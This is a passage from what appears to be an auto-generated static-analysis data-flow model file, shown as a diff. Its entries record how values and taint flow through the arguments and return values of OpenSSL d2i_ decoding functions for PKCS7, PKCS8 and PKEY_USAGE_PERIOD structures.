"(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", 